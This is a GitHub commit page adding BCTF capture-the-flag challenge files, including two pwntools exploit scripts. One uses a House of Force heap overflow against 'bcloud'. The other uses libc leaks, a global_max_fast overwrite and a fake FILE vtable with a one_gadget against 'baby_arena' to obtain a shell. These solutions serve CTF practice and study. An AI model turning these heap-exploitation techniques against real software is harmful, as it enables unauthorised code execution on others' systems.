Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit a22d5dc

Browse files
committed
BCTF
1 parent b0b73e7 commit a22d5dc

File tree

15 files changed

+5973
-0
lines changed

15 files changed

+5973
-0
lines changed

‎BCTF/BCTF2016_bcloud/bcloud‎

9.48 KB
Binary file not shown.

‎BCTF/BCTF2016_bcloud/bcloud.idb‎

177 KB
Binary file not shown.

‎BCTF/BCTF2016_bcloud/exp.py‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
__Auther__ = 'M4x'
4+
5+
from pwn import *
6+
from time import sleep
7+
import os
8+
import sys
9+
10+
elfPath = "./bcloud"
11+
libcPath = ""
12+
remoteAddr = "localhost"
13+
remotePort = 9999
14+
15+
context.binary = elfPath
16+
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
17+
18+
elf = context.binary
19+
if sys.argv[1] == "l":
20+
context.log_level = "debug"
21+
io = process(elfPath)
22+
libc = elf.libc
23+
24+
else:
25+
context.log_level = "info"
26+
if sys.argv[1] == "d":
27+
io = remote("localhost", 9999)
28+
else:
29+
io = remote(remoteAddr, remotePort)
30+
if libcPath:
31+
libc = ELF(libcPath)
32+
33+
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))
34+
35+
def DEBUG(bps = [], pie = False):
36+
if pie:
37+
base = int(os.popen("pmap {}| awk '{{print 1ドル}}'".format(pidof(io)[0])).readlines()[1], 16)
38+
cmd = ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
39+
else:
40+
cmd = ''.join(['b *{:#x}\n'.format(b) for b in bps])
41+
42+
if bps != []:
43+
cmd += "c"
44+
45+
raw_input("DEBUG: ")
46+
gdb.attach(io, cmd)
47+
48+
def newNote(length, cont):
49+
io.sendlineafter(">>\n", "1")
50+
io.sendlineafter(":\n", str(length))
51+
io.sendafter(":\n", cont)
52+
53+
if __name__ == "__main__":
54+
# DEBUG([0x8048A19])
55+
io.sendafter(":\n", 'a' * 0x40)
56+
io.recvuntil('a' * 0x40)
57+
heapBase = u32(io.recv(4)) - 0x8
58+
success("heapBase", heapBase)
59+
io.sendafter(":\n", 'b' * 0x40)
60+
io.sendafter(":\n", p32(0xffffffff) + 'c' * (0x40 - 4))
61+
62+
DEBUG([0x8048A19])
63+
topChunk = heapBase + 0xd8
64+
success("topChunk", topChunk)
65+
newNote(topChunk - 0x804b120 - 8, 'dddd\n')
66+
newNote(0x10, 'eeee\n')
67+
68+
io.interactive()
69+
io.close()
185 KB
Binary file not shown.
10.2 KB
Binary file not shown.

‎BCTF/BCTF2018_baby_arena/solve.py‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
context.binary = "./a83f5901-8f95-49cc-8525-89fef33eef71.test"
7+
elf = context.binary
8+
libc = elf.libc
9+
libc.sym['main_arena'] = 0x3c4b20
10+
libc.sym['global_max_fast'] = 0x3c67f8
11+
libc.sym['one_gadget'] = 0xf02a4
12+
13+
def add(size, cont):
14+
io.sendlineafter("4.exit\n", "1")
15+
io.sendlineafter("size\n", str(size))
16+
sleep(0.01)
17+
if len(cont) == size:
18+
io.sendafter("note\n", cont)
19+
sleep(0.01)
20+
else:
21+
io.sendlineafter("note\n", cont)
22+
23+
24+
def delete(idx):
25+
io.sendlineafter("4.exit\n", "2")
26+
io.sendlineafter("id:\n", str(idx))
27+
28+
def login(name):
29+
io.sendlineafter("4.exit\n", "3")
30+
sleep(0.01)
31+
io.sendafter("name\n", name)
32+
sleep(0.01)
33+
io.sendlineafter("admin\n", "0")
34+
35+
def _exit():
36+
io.sendlineafter("4.exit\n", "4")
37+
38+
39+
# context.log_level = "debug"
40+
io = process("./a83f5901-8f95-49cc-8525-89fef33eef71.test")
41+
add(0xf0, '0' * 0xf0)
42+
add(0xf0, '1' * 0xf0)
43+
add(0xf0, '2' * 0xf0)
44+
add(0xf0, '3' * 0xf0)
45+
delete(0)
46+
add(0xf0, '0' * 8)
47+
io.recvuntil("0" * 8)
48+
libc.address = u64(io.recvuntil("\x7f")[-6: ] + '0円0円') - libc.sym['main_arena'] - 88
49+
success("libc @ {:#x}".format(libc.address))
50+
fastbinsY = libc.sym['main_arena'] + 0x8
51+
success("fastbinsY @ {:#x}".format(fastbinsY))
52+
53+
delete(0)
54+
delete(2)
55+
56+
add(0xf0, 'xxxxxxxx\xff')
57+
io.recvuntil("xxxxxxxx")
58+
heap = u64(io.recvuntil("\n", drop = True).ljust(8, '\x00')) >> 12 << 12
59+
success("heap @ {:#x}".format(heap))
60+
61+
idx = (libc.sym['_IO_list_all'] - 8 - fastbinsY) / 8
62+
size = idx * 0x10 + 0x20
63+
64+
fake_file = flat('0円' * 16, 0, 1, '0円' * 0xa8, heap + 0x4e0)
65+
fake_vtable = flat(libc.sym['one_gadget']) * 0x20
66+
add(size, fake_file + fake_vtable)
67+
68+
login(flat('aaaaaaaa', libc.sym['global_max_fast'] - 8))
69+
70+
delete(2)
71+
_exit()
72+
73+
io.interactive()

‎BCTF/BCTF2018_easywasm/easywasm.zip‎

79.7 KB
Binary file not shown.

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /